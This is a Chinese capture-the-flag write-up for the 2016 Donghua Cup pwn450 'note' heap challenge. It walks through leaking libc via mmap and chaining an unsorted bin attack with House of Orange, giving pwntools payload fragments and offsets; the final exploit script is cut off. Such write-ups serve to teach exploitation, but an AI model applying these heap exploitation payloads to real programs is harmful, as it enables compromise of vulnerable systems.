2016东华杯pwn450-note
链接:https://pan.baidu.com/s/1QEKd37yhK-vTDxViS76q5A
提取码:vbek
grxer@grxer /m/h/S/c/p/io_file> checksec ./16pwn450_note |
程序可以申请一个最小512堆块,最大无限制
__int64 __fastcall sub_400B3B(__int64 a1) |
该函数可以无限溢出堆块,狂喜
泄露libc
唯一一个打印信息的地方是打印申请到的内存地址,我们可以利用mmap申请一个内存,会和libc有一个固定偏移
mmap阈值为128k
new(0x200000)#libcbase libcbase=int(rl(),16)+0x201000-0x10
拿到基地址
unsorted bin attack && house of orange
因为只有一个堆块,free后肯定会和topchunk合并,不会进入bin里,只能利用切割topchunk时大小不合适,去重新申请一块大内存同时把oldchunk放入unsortedbin,同时需要构造多个unsortedbin才可以在切割时把0x60大小的bin送人small bin伪造_chain
new(0x200) payload=b'\x00'*0x200+p64(0)+p64(0x10df1)
用溢出改掉大小,再free再申请一个比这个chunk还大的内存,把这个chunk放入unsortedbin
new(0x200)
切割下来一块
payload=b'\x00'*0x200+p64(0)+p64(0x10dd1)+p64(unsorted_bin)*2+b'\x00'*0x10db0+p64(0x10dd0)+p64(0x11) edit(payload)
为了防止释放时unlink,把chunk的下一个chunk的prevsize和previnuse位改掉,释放到unsortedbin 且不合并
这个时候就有一个问题,unsortedbin是FIFO的,每次只能申请一个会导致,每次拿出来的地址是高地址,没办法溢出覆盖低地址的在unsorted里的堆,所以我们需要再次申请new(0x10d00)
会从大块的什么切割,同时把0x200的小块放到 small bin,打破这个顺序,因为申请是是先遍历smallbins
free掉
现在我们就可以申请出来smallbin然后通过溢出布置house of orange了
payload=b'\x00'*0x200+p64(0)+p64(0x10d11)+p64(heap+0x210)+p64(unsorted_bin)+b'\x00'*(0x10d10-0x20)#溢出到第二个块 |
我们把unsortedbin第二个块改为60大小,下一次申请时切割第一个unsortedbin,会把第二个块的bk->fd=unsortedbin,同时放入smallbin 0x60大小里
绕过一些检测
payload+=p64(heap+0x10ff8+8)
可以根据前面填入的大小 0x10+0x200+0x10d10+0xd8+8=0x1 1000 这里0x10是因为heap我们去了申请heap的chunkhead,而不是数据区开始,+8是因为这个字段本身占一个,或者通过在此次输入一个标识符进行搜索,计算偏移
1 = { |
EXP
from pwn import * |